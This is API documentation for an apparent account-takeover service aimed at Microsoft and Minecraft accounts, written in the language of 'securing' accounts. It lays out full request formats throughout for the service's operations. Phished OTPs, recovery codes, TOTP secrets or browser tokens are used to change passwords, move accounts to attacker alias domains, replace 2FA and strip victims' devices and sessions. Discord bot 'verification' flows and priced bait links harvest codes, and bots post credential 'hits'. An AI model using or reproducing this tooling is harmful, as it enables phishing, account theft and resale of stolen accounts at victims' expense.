Drive the securing engine, live.
Open one socket and operate the real thing: pull proofs, fire an OTP, poll an authenticator prompt, hand over an MSA token, and watch each secure land through streamed log and event_response frames as it happens. This is the same engine the dashboard runs on — event in, acknowledgement out, progress on the wire. One connection per user; authenticate first, then command it.
Connection & Events
Requires API access (redeem a code in Settings → API Keys). Generate keys with WebSocket API Access enabled.
WebSocket API Tester
Connection & Authentication
Connect to the WebSocket API and authenticate with your API key:
const ws = new WebSocket('wss://sten.wtf/api/');
ws.onopen = () => {
// Step 1: Authenticate
ws.send(JSON.stringify({
type: 'auth',
data: { api_key: 'sk_your_api_key_here' }
}));
};
ws.onmessage = (event) => {
const message = JSON.parse(event.data);
// Handle different message types
switch (message.type) {
case 'event_response':
if (message.event === 'auth') {
console.log('✓ Authenticated:', message.success);
} else {
console.log('Final result:', message);
}
break;
case 'acknowledgement':
console.log('✓ Request queued, UID:', message.uid);
break;
case 'log':
console.log('Progress:', message.message);
break;
}
};Complete Example
Full example showing all message types in order:
// 1. Send secure request
ws.send(JSON.stringify({
type: 'event',
event: 'recoverycode',
id: 'req_001',
data: {
email: 'user@outlook.com',
recovery_code: 'XXXXX-XXXXX-XXXXX-XXXXX-XXXXX'
}
}));
// 2. Receive acknowledgement (immediate)
// { type: 'acknowledgement', uid: 'abc123', ... }
// 3. Receive log messages (during processing)
// { type: 'log', message: 'Logging in...', ... }
// { type: 'log', message: 'Changing password...', ... }
// { type: 'log', message: 'Adding 2FA...', ... }
// 4. Receive final result (after ~30-60 seconds)
// { type: 'event_response', success: true, ... }Security & Limits
- 1 connection per user - Only one active WebSocket connection allowed per user account
- Rate limiting - 30 requests per 60 seconds. Exceeding triggers a 5-minute block
- Account isolation - Users can only access their own accounts via
getaccounts
Events
Available operations. All events return results via WebSocket response.
| Event | Description |
|---|---|
| SECURE OPERATIONS | |
otp | Secure account with email OTP code |
seckey | Secure account with TOTP secret key |
recoverycode | Secure account with recovery code |
msaauth | Secure account with MSA auth token |
| OTP FLOW (Get proofs before securing) | |
getproofs | Get authentication proofs for an email |
sendotp | Send OTP to a specific proof |
authapp | Poll authenticator app for approval (returns MSAAUTH) |
| DATA & UTILITIES | |
getaccounts | Get your secured accounts |
status | Get status of a secure operation by UID |
mail | Fetch emails for an address |
lunar | Get Lunar Client cosmetics |
Use type: "status" (not event) to check connection status and rate limits.
Event: getaccounts
Get your secured accounts. No user_id needed - automatically returns your accounts.
{
"type": "event",
"event": "getaccounts",
"id": "req_001",
"data": {
"filters": { // Optional filters
"tags": ["Premium"], // Only accounts with these tags
"exclude_tags": ["SOLD"], // Exclude accounts with these tags
"limit": 50 // Max results to return
}
}
}Event: getproofs
Get available authentication proofs for an email. Use this before sending OTP or polling auth app.
{
"type": "event",
"event": "getproofs",
"id": "req_gp1",
"data": {
"email": "user@outlook.com" // Required
}
}
// Response - OTP proofs available:
{
"type": "event_response",
"event": "getproofs",
"success": true,
"auth_app": false,
"proofs": [
{"id": "j***@outlook.com", "display": "j***@outlook.com", "type": "email"},
{"id": "+1*****1234", "display": "+1*****1234", "type": "phone"}
]
}
// Response - Auth app required:
{
"type": "event_response",
"event": "getproofs",
"success": true,
"auth_app": true,
"session_id": "abc123...",
"entropy": "42" // Display this number to user for approval
}Event: sendotp
Send OTP to a specific proof obtained from getproofs.
{
"type": "event",
"event": "sendotp",
"id": "req_so1",
"data": {
"email": "user@outlook.com", // Required
"proof_id": "j***@outlook.com" // Required: proof ID from getproofs
}
}
// Response:
{
"type": "event_response",
"event": "sendotp",
"success": true,
"message": "Code sent"
}Event: authapp
Poll for authenticator app approval. Display the entropy number to the user - they must select this number in their authenticator app.
{
"type": "event",
"event": "authapp",
"id": "req_aa1",
"data": {
"email": "user@outlook.com",
"session_id": "session_from_getproofs", // Required
"timeout": 120 // Optional: seconds to wait (default 120)
}
}
// Response - Success (returns MSAAUTH token):
{
"type": "event_response",
"event": "authapp",
"success": true,
"msaauth": "EwAIA..." // Use with msaauth event to secure
}
// Response - Timeout:
{ "success": false, "error": "expired" }
// Response - Wrong number:
{ "success": false, "error": "rejected" }Event: otp
Secure an account using an email OTP code. Typical completion: 30-60 seconds.
{
"type": "event",
"event": "otp",
"id": "req_002",
"data": {
// === REQUIRED ===
"email": "user@example.com", // Account email
"otp": "123456", // 6-digit OTP code from email
// === OPTIONAL SETTINGS (see reference table below) ===
"domain": "yourdomain.com", // Custom domain for aliases
"tfa": true, // Enable 2FA (default)
"sign_out": true, // Sign out sessions (default)
"devices": true, // Remove devices (default)
"oauths": true, // Remove OAuth apps (default)
"family": true, // Leave family (default)
// Profile changes (all default to false)
"change_ign": false, // Change Minecraft name
"change_name": false, // Change MS account name
"change_pfp": false, // Change profile picture
"pfp_url": "https://...", // Custom pfp (requires change_pfp)
"first_name": "John", // New first name (requires change_name)
"last_name": "Doe" // New last name (requires change_name)
}
}Event: seckey
Secure an account using a TOTP secret key (authenticator app). Typical completion: 30-60 seconds.
{
"type": "event",
"event": "seckey",
"id": "req_003",
"data": {
// === REQUIRED ===
"email": "user@example.com", // Account email
"password": "currentpass", // Current password
"secret_key": "JBSWY3DPEHPK3PXP", // TOTP secret (base32)
// === OPTIONAL (same as otp event, see reference table) ===
"domain": "yourdomain.com",
"tfa": true, // default
"sign_out": true, // default
"devices": true, // default
"oauths": true, // default
"family": true // default
}
}Event: recoverycode
Secure an account using a recovery code. Typical completion: 30-60 seconds.
{
"type": "event",
"event": "recoverycode",
"id": "req_004",
"data": {
// === REQUIRED ===
"email": "user@example.com",
"recovery_code": "XXXXX-XXXXX-XXXXX-XXXXX-XXXXX",
// === OPTIONAL (same as otp event, see reference table) ===
"domain": "yourdomain.com",
"tfa": true, // default
"sign_out": true, // default
"devices": true, // default
"oauths": true, // default
"family": true // default
}
}Event: msaauth
Secure an account using an MSA auth token (from browser session). Typical completion: 20-40 seconds.
{
"type": "event",
"event": "msaauth",
"id": "req_005",
"data": {
// === REQUIRED ===
"msaauth": "11-M.C505_BAY.0.U...", // MSA auth token from browser
// === OPTIONAL (same as otp event, see reference table) ===
"domain": "yourdomain.com",
"tfa": true, // default
"sign_out": true, // default
"devices": true, // default
"oauths": true, // default
"family": true // default
}
}Event: status (Operation Status)
Get the status of a secure operation by UID. Can optionally validate the account.
{
"type": "event",
"event": "status",
"id": "req_010",
"data": {
"uid": "abc123xyz", // Required: UID from a secure operation
"validate": false // Optional: Re-validate the account
}
}Event: mail
Fetch emails from the mail service for a given address.
{
"type": "event",
"event": "mail",
"id": "req_011",
"data": {
"email": "user@yourdomain.com" // Required
}
}Event: lunar
Get Lunar Client cosmetics for an account using its access token.
{
"type": "event",
"event": "lunar",
"id": "req_012",
"data": {
"accessToken": "eyJhbGciOiJIUzI1NiIs..." // Required: MC access token
}
}Connection Status (not an event)
Check your connection status and rate limit info. Use type: "status" directly.
{
"type": "status",
"id": "req_013"
}
// Response:
{
"type": "event_response",
"event": "status",
"id": "req_013",
"success": true,
"message": "Connection authenticated",
"authenticated": true,
"api_key": "sk_abc123...",
"user_id": "12345",
"is_admin": false,
"allowed_events": ["otp", "seckey", "..."],
"connected_at": 1705612800.123,
"rate_limit": {
"requests_in_window": 5,
"max_requests": 30,
"window_seconds": 60,
"is_blocked": false
}
}Optional Settings Reference
These optional settings can be included in otp, seckey, recoverycode, and msaauth events:
| Parameter | Type | Default | Description |
|---|---|---|---|
| CORE SETTINGS | |||
domain | string | null | Domain for email aliases (e.g., "example.com"). Uses system default if not provided. |
tfa | bool | true | Enable 2FA (TOTP authenticator). Generates new secret key. |
sign_out | bool | true | Sign out all other active sessions |
| PROFILE MODIFICATIONS | |||
change_ign | bool | false | Change Minecraft in-game name (random 3-16 char name) |
change_name | bool | false | Change Microsoft account name (requires first_name/last_name) |
change_pfp | bool | false | Change profile picture (uses pfp_url or random if not provided) |
pfp_url | string | null | Custom profile picture URL (requires change_pfp: true) |
first_name | string | null | New first name (requires change_name: true) |
last_name | string | null | New last name (requires change_name: true) |
| CLEANUP & SECURITY | |||
devices | bool | true | Remove all linked devices and trusted locations |
oauths | bool | true | Remove OAuth app connections (Discord, Steam, etc.) |
family | bool | true | Leave Microsoft family group if member |
Response Flow
All secure operations follow a two-step response pattern:
Step 1: Acknowledgement (Immediate)
Sent immediately when your request is received and queued for processing:
{
"type": "acknowledgement",
"event": "otp",
"id": "req_002",
"success": true,
"message": "Request received",
"uid": "abc123xyz"
}Step 2: Final Result (After Processing)
Sent when the operation completes (successful or failed):
// Success Response
{
"type": "event_response",
"event": "otp",
"success": true,
"uid": "abc123xyz",
"status": "Secured Successfully",
"old_name": "PlayerName",
"new_name": "PlayerName",
"old_email": "player@gmail.com",
"email": "player.a1b2c3d4@yourdomain.com",
"recoveryCode": "XXXXX-XXXXX-XXXXX-XXXXX-XXXXX",
"tfa": "xxxx xxxx xxxx xxxx",
"password": "xXxGeneratedPass123",
"time_taken": 45,
"capes": "Migrator, Cherry Blossom",
"stats": {
"username": "PlayerName",
"uuid": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"Rank": "MVP+",
"NW": 50000000,
"LVL": 250,
"hypixel": { "rank": "MVP+", "networkLevel": 250, "bedwars": {...}, "skyblock": {...} },
"totalAccountValue": 125.50
},
"ogi": {
"first_name": "John",
"last_name": "Doe",
"cards": [],
"devices": "Removed",
"sign_out": "Signed out",
"xbox_gamertag": "PlayerName"
},
"lunar": { "cosmetics": { "cosmeticamount": 25 } }
}Log Messages (During Processing)
While processing, you'll receive log messages showing progress:
{
"type": "log",
"event": "otp",
"id": "req_002",
"uid": "abc123xyz",
"message": "Logging into Microsoft account...",
"timestamp": 1705612800.123
}Error Responses
If an operation fails, you'll receive an error response with details:
// Validation Error (Immediate)
{
"type": "event_response",
"event": "otp",
"id": "req_002",
"success": false,
"message": "Missing required field: email",
"error": "invalid_request"
}
// Authentication Error (After Processing)
{
"type": "event_response",
"event": "recoverycode",
"id": "req_004",
"success": false,
"message": "Invalid recovery code",
"error": "1300",
"uid": "abc123xyz",
"status": "failed_recovery_1300"
}Rate Limit Error
{
"type": "event_response",
"event": "otp",
"id": "req_002",
"success": false,
"message": "Rate limit exceeded. Try again in 300 seconds.",
"error": "rate_limit_exceeded",
"retry_after": 300
}WebSocket Error Codes
Comprehensive list of all error codes you may encounter:
| Error Code | Description |
|---|---|
| AUTHENTICATION & AUTHORIZATION | |
missing_api_key | No API key provided in auth message |
invalid_api_key | API key is invalid, expired, or deactivated |
not_authenticated | Request made before authentication completed |
permission_denied | API key lacks WebSocket access permission |
rate_limit_exceeded | Too many requests (30/60s limit). Retry after cooldown. |
| VALIDATION ERRORS | |
invalid_request | Missing required field (email, password, otp, recovery_code, etc.) |
parse_error | Invalid JSON in WebSocket message |
unknown_event | Event type not recognized |
unknown_type | Message type not recognized (use 'event', 'auth', or 'status') |
| SECURE OPERATION ERRORS | |
invalid_otp | OTP code is incorrect or expired |
invalid_recovery_code | Recovery code is incorrect or already used |
invalid_credentials | Email or password is incorrect |
1300 | Microsoft error: Invalid recovery code |
6001 | Microsoft error: Account requires additional verification |
failed_login | Failed to login to Microsoft account |
account_locked | Microsoft account is locked/suspended |
tfa_required | Account has 2FA enabled, cannot proceed with this method |
secure_failed | Secure operation failed (check logs for details) |
| SYSTEM ERRORS | |
handler_error | Internal server error in event handler |
connection_error | WebSocket connection error |
internal_error | Unexpected internal server error |
Pro Tip: Always check the error field in responses for programmatic error handling. The message field provides human-readable details. For secure operations, an acknowledgementmessage is sent immediately with the UID, followed by the final event_response when complete.
Bot API RPC Methods
These RPC methods are called over the same WebSocket connection using type: "rpc" instead of type: "event". Bot methods are scoped to bots owned by the authenticated API key owner.
RPC: api.bots.indexes
Get the database indexes for your bots. Call this first if you do not know what to pass as bot_id. Returns only bots owned by the authenticated API key owner. Optionally filter by Discord bot/application ID.
For bot API methods, bot_id accepts either the database index returned here, such as 42, or the Discord bot/application ID returned as bot_id, such as 123456789012345678. Do not pass a Discord server/guild ID.
// Request
{
"type": "rpc",
"method": "api.bots.indexes",
"id": "req_idx1",
"params": {}
}
// Response
{
"type": "rpc_response",
"method": "api.bots.indexes",
"id": "req_idx1",
"result": {
"success": true,
"bots": [
{
"index": 42,
"bot_id": "123456789012345678",
"bot_name": "My Bot",
"status": "running"
}
]
}
}// Optional: filter by Discord bot/application ID
{
"type": "rpc",
"method": "api.bots.indexes",
"id": "req_idx_filter1",
"params": {
"bot_id": "123456789012345678"
}
}RPC: api.codes.generate
Generate a share link/code for one of your bots. Non-admin users need API access, an active subscription, and Links access. Accepts either a Discord bot ID or a database index from api.bots.indexes.
// Request
{
"type": "rpc",
"method": "api.codes.generate",
"id": "req_gen1",
"params": {
"bot_id": "123456789012345678", // Discord bot ID or database index
"type": "hypixel", // hypixel | badlion | feather | lunar | donut
"cosmetic": "Cool Cape", // Optional: cosmetic/product name for slug
"price": 5.00, // Optional: price in USD (default 0)
"link": "https://i.imgur.com/example.png", // Optional: preview image URL
"expires_in_hours": 2 // Optional: 1, 2, or 4 (default 1)
}
}
// Response
{
"type": "rpc_response",
"method": "api.codes.generate",
"id": "req_gen1",
"result": {
"success": true,
"code": {
"id": 123,
"slug": "cool-cape-ab1c2d",
"url": "https://sten.wtf/links/cool-cape-ab1c2d",
"type": "hypixel",
"cosmetic": "Cool Cape",
"price": 5.00,
"expires_at": "2025-01-15T02:00:00Z",
"bot_id": "123456789012345678",
"bot_name": "My Bot"
}
}
}RPC: api.logs.send
Send a named verification log through an owned running bot. The bot's configured logging mode, filtered/unfiltered channels, masking, render mode, stat buttons, and custom/default embed templates are used automatically.
// Request
{
"type": "rpc",
"method": "api.logs.send",
"id": "req_log1",
"params": {
"bot_id": 42,
"mode": "otp", // username | email | otp | auth | securing
"username": "Steve",
"uuid": "069a79f444e94726a5befca90e38aaf5",
"email": "steve@example.com",
"otp": "123456"
}
}
// Response
{
"type": "rpc_response",
"id": "req_log1",
"result": {
"success": true,
"sent": 2,
"skipped": [],
"errors": []
}
}RPC: api.hits.send
Send a secure-result hit through an owned bot's hits channel. The bot's secure embed template is the visual source of truth.
// Request
{
"type": "rpc",
"method": "api.hits.send",
"id": "req_hit1",
"params": {
"bot_id": 42,
"uid": "abc123",
"result": {
"uid": "abc123",
"old_name": "Steve",
"email": "steve@example.com",
"security_email": "safe@example.com",
"password": "generated-password",
"recoveryCode": "AAAAA-BBBBB",
"time_taken": 8.2
}
}
}RPC: api.verification.start
Compatibility flow: create an API-owned verification session for one bot and emit the initial username/email log modes. New integrations should prefer api.verification.session.create plus autosecure.* because that flow also performs proof lookup and OTP/auth-app logging.
{
"type": "rpc",
"method": "api.verification.start",
"id": "req_start1",
"params": {
"bot_id": 42,
"username": "Steve",
"email": "steve@example.com",
"uuid": "069a79f444e94726a5befca90e38aaf5"
}
}
// Response includes session_id for submitOtp / submitAuth
{
"type": "rpc_response",
"id": "req_start1",
"result": {
"success": true,
"session_id": "sess1234",
"logs": [{ "mode": "username", "success": true, "sent": 1 }]
}
}RPC: api.verification.submitOtp
Compatibility flow: submit an OTP for an API-owned verification session created by api.verification.start. Requires session_id and otp; email and noPassword/no_password are read from the session unless you override them.
{
"type": "rpc",
"method": "api.verification.submitOtp",
"id": "req_otp1",
"params": {
"session_id": "sess1234",
"otp": "123456",
"noPassword": false
}
}RPC: api.verification.submitAuth
Compatibility flow: submit a Microsoft auth token for an API-owned verification session created by api.verification.start. Requires session_id and msauth; email is read from the session unless you override it.
{
"type": "rpc",
"method": "api.verification.submitAuth",
"id": "req_auth1",
"params": {
"session_id": "sess1234",
"msauth": "MSA_AUTH_TOKEN"
}
}RPC: api.verification.session.create
Recommended: Create an API-attached verification session tied to your bot. This creates server-side context for the owning API user, bot database index, optional username/UUID/email metadata, and the stable proxy assignment used by the rest of the flow. It does not check or secure the account by itself.
Pass the returned session_id into autosecure.getProofs, autosecure.sendOtp, autosecure.authApp, and the final secure.* call. When present, the API resolves the bot from the session, enforces session ownership, fills missing username/UUID/email values from session metadata, and sends notifications using that bot's configured embeds and channels.
Session duration: verification sessions are short-lived and are cleaned after 1 hour. A successful secure deletes the session after the hit embed is sent. Failed sessions are marked failed for inspection, but old sessions are still removed by the 1-hour cleanup. If a session expires, create a new session and restart the flow.
How To Create The Session
Send this RPC after authenticating the WebSocket with your API key. bot_id is required and must identify one of your bots. Use either the database index from api.bots.indexes or that bot's Discord application ID from bot_id. username, email, uuid, and noPassword/no_password are optional metadata, but passing them up front lets later logs and secure calls reuse them automatically.
{
"type": "rpc",
"method": "api.verification.session.create",
"id": "req_sess1",
"params": {
"bot_id": 42,
"username": "Steve",
"email": "steve@example.com",
"uuid": "069a79f444e94726a5befca90e38aaf5",
"noPassword": false
}
}
{
"type": "rpc_response",
"id": "req_sess1",
"result": {
"success": true,
"session_id": "sess_abc123",
"bot_index": 42,
"bot_id": "123456789012345678"
}
}Save result.session_id. That value is the verification session ID you pass to autosecure.getProofs, autosecure.sendOtp, autosecure.authApp, and secure.*.
You can also create the session with only bot_id and set metadata later. Any later session-attached call that includes username/ign, uuid/mcUuid, email, noPassword/no_password, ip, customValues, custom_values, metadata, or attributes writes those values back to the session so following logs and secure calls can reuse them.
// Create an empty session first
{
"type": "rpc",
"method": "api.verification.session.create",
"id": "req_sess_empty",
"params": {
"bot_id": 42
}
}
// Later, set email while checking proofs
{
"type": "rpc",
"method": "autosecure.getProofs",
"id": "req_gp1",
"params": {
"session_id": "sess_abc123",
"email": "steve@example.com"
}
}
// Once email is stored, getProofs can use just session_id
{
"type": "rpc",
"method": "autosecure.getProofs",
"id": "req_gp2",
"params": {
"session_id": "sess_abc123"
}
}
// getProofs stores noPassword/no_password on the verification session.
// sendOtp uses stored email/noPassword, or auto-detects noPassword if absent.
// proof_id is always required.
// Use the id field from the selected getProofs proof.
{
"type": "rpc",
"method": "autosecure.sendOtp",
"id": "req_so1",
"params": {
"session_id": "sess_abc123",
"proof_id": "j***@outlook.com"
}
}
// Later, set or update username/UUID on OTP or secure calls
{
"type": "rpc",
"method": "secure.otp",
"id": "req_sec1",
"params": {
"session_id": "sess_abc123",
"username": "Steve",
"uuid": "069a79f444e94726a5befca90e38aaf5",
"otp": "123456"
}
}
// Secure calls also use stored email and noPassword. This only needs session_id + msauth.
{
"type": "rpc",
"method": "secure.msauth",
"id": "req_sec_auth1",
"params": {
"session_id": "sess_abc123",
"msauth": "EwAIA..."
}
}
// Frontend metadata can be stored on the session and used in embeds.
{
"type": "rpc",
"method": "api.verification.session.create",
"id": "req_sess_ip",
"params": {
"bot_id": 42,
"ip": "203.0.113.9",
"customValues": {
"campaign": "spring"
}
}
}Frontend metadata does not require a Discord ID. It is exposed to log and hit embed templates as placeholders such as %IP%, %CUSTOM_IP%, %CAMPAIGN%, and %CUSTOM_CAMPAIGN%.
// Initialize from a bot you own
// 1. List bots with api.bots.indexes.
// 2. Use either result.bots[0].index or result.bots[0].bot_id below.
{
"type": "rpc",
"method": "api.verification.session.create",
"id": "req_sess1",
"params": {
"bot_id": 42,
"username": "Steve",
"uuid": "069a79f444e94726a5befca90e38aaf5",
"email": "steve@example.com"
}
}
// Also valid:
{
"type": "rpc",
"method": "api.verification.session.create",
"id": "req_sess2",
"params": {
"bot_id": "123456789012345678",
"username": "Steve",
"email": "steve@example.com"
}
}// 1. Create session
{
"type": "rpc",
"method": "api.verification.session.create",
"id": "req_sess1",
"params": {
"bot_id": 42,
"username": "Steve",
"email": "steve@example.com",
"uuid": "069a79f444e94726a5befca90e38aaf5"
}
}
// Response
{
"type": "rpc_response",
"id": "req_sess1",
"result": {
"success": true,
"session_id": "sess_abc123",
"bot_index": 42,
"bot_id": "123456789012345678"
}
}
// 2. Get proofs (with session_id; logs go through the bot; response includes noPassword/no_password)
{
"type": "rpc",
"method": "autosecure.getProofs",
"id": "req_gp1",
"params": {
"email": "steve@example.com",
"session_id": "sess_abc123"
}
}
// 3. Send OTP (with session_id; stored noPassword is reused; "Code sent" is logged)
{
"type": "rpc",
"method": "autosecure.sendOtp",
"id": "req_so1",
"params": {
"email": "steve@example.com",
"proof_id": "j***@outlook.com",
"session_id": "sess_abc123"
}
}
// 4. Secure with OTP (with session_id — securing log + hit embed)
{
"type": "rpc",
"method": "secure.otp",
"id": "req_sec1",
"params": {
"session_id": "sess_abc123",
"email": "steve@example.com",
"otp": "123456"
}
}Session-Attached Lifecycle
| Step | RPC method | Session field | Effect |
|---|---|---|---|
| Create context | api.verification.session.create | none | Returns session_id |
| Check proofs | autosecure.getProofs | session_id + email unless stored | Checks email, stores noPassword/no_password, and sends email/auth-required logs |
| Send OTP | autosecure.sendOtp | session_id + proof_id | Sends code with stored no-password state and OTP log |
| Poll auth app | autosecure.authApp | session_id + flow_session_id | Sends auth pending/result logs |
| Secure | secure.otp or secure.msauth | session_id + otp/msauth | Reuses stored no-password state, then sends securing log and hit embed on success |
Authenticator app accounts have two IDs: autosecure.getProofs returns the Microsoft flow token in its own session_id field, while api.verification.session.create returns the API verification session. In the new flow, pass the Microsoft token as flow_session_id and keep the API verification ID as session_id.
// Authenticator app variant
// getProofs returned: { "auth_app": true, "session_id": "flow_123", "entropy": "42" }
{
"type": "rpc",
"method": "autosecure.authApp",
"id": "req_auth_poll1",
"params": {
"email": "steve@example.com",
"flow_session_id": "flow_123",
"session_id": "sess_abc123",
"timeout": 120
}
}
{
"type": "rpc",
"method": "secure.msauth",
"id": "req_sec_auth1",
"params": {
"session_id": "sess_abc123",
"email": "steve@example.com",
"msauth": "EwAIA..."
}
}Automatic Bot Log Events
These are emitted only when a valid session-attached session_id is supplied. Each log uses the session bot's configured log templates, masking rules, filtered/unfiltered channels, and render mode. The final hit uses the bot's secure hit template.
| Trigger | Bot event | Status/stage | Notes |
|---|---|---|---|
autosecure.getProofs starts | email log | Checking email / email_checking | Starts email/proof lookup |
| Email check fails | email log | error / email_failed | Invalid email, timeout, connection, or not found |
| Authenticator required | auth log | Auth app required / auth_required | Response includes entropy and flow token |
| Proofs found | email log | Found N proofs / email_checked | Use a returned proof ID with sendOtp |
autosecure.sendOtp succeeds | otp log | Code sent / otp_sent | Includes proof type/display |
autosecure.authApp | auth log | Pending, Approved, Expired, Rejected, or Failed | Tracks authenticator outcome |
secure.otp / secure.msauth | otp or auth log, then securing log | otp_submitted, auth_approved, securing | Runs final account securing |
| Secure succeeds | hit embed | completed / hit_sent | Session is deleted after hit delivery |
| Secure fails | invalid_otp for invalid OTP, otherwise email log | failed / secure_failed | Session remains marked failed for inspection |
Session-Attached vs Direct Mode
| Feature | Session-Attached (Recommended) | Direct / Compatibility |
|---|---|---|
| Bot embeds | Uses the session bot's configured embeds automatically | api.logs.send / api.hits.send must be called manually |
| Log channels | Sends to bot's filtered/unfiltered channels | Manual log channel selection |
| Ownership | Enforced on every action via session_id | Verified per-request via bot_id |
| Session cleanup | Deleted after a successful hit; failures remain marked failed until cleanup | No persistent session |
| Flow steps | session.create → getProofs → sendOtp → secure.* | verification.start → submitOtp/submitAuth |
RPC Error Codes
| Error Code | Description |
|---|---|
UNAUTHORIZED | Not authenticated or missing API key |
FORBIDDEN | Access denied or not your bot |
DISCORD_REQUIRED | Discord account must be linked |
NOT_FOUND | Bot not found with given ID |
INVALID_PARAMS | Missing or invalid parameters |
CREATE_FAILED | Failed to create the link/code |
BOT_OFFLINE | Bot is offline or not running |
SEND_FAILED | Failed to send the log/hit notification |
NO_LICENSE | Missing required subscription/license |
NOT_LICENSED | Missing Links license |
NO_HIT_CHANNEL | No hits channel configured for the bot |
NO_LOG_CHANNEL | No logs channel configured for the bot |
